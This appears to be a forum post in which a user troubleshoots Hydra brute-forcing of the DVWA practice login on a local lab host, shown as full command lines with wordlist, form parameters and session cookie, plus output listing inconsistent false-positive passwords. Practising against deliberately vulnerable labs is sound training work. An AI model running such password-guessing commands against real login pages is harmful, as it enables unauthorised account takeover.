I have an issue with Hydra when I use it. I have tried the same command lines given in guides directly supported by the Damn Vulnerable Web Application (DVWA) v1.8.
Ok so.. here is my attempt output...
root@kali:~# hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt
http-get-form "/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&
password=^PASS^&submit=Login:Username and/or password incorrect." -f
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-09-06 05:18:12
[DATA] 16 tasks, 1 server, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.1.2 login: admin password: shadow
[STATUS] attack finished for 192.168.1.2 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-09-06 05:18:12
Yes, its true that the HTML form method is GET. :O)
Ok so, regardless how many times I run the command I get different answers.. like..
Attempt 1
[80][www-form] host: 192.168.1.2 login: admin password: 101193
[80][www-form] host: 192.168.1.2 login: admin password: horse
Attempt 2
[80][www-form] host: 192.168.1.2 login: admin password: carhorn
[80][www-form] host: 192.168.1.2 login: admin password: shadowfox
[80][www-form] host: 192.168.1.2 login: admin password: multible
UPDATE!!!!
hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt http-get-form
"/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&
submit=Login:Username and/or password incorrect.:H=Cookie: security=high;
PHPSESSID=jtujthkeh08foqfomph232rp77"
I tried to add the cookie phpsession id aswell. I also tried to put in the:
-t <tasks>
So far I have no success.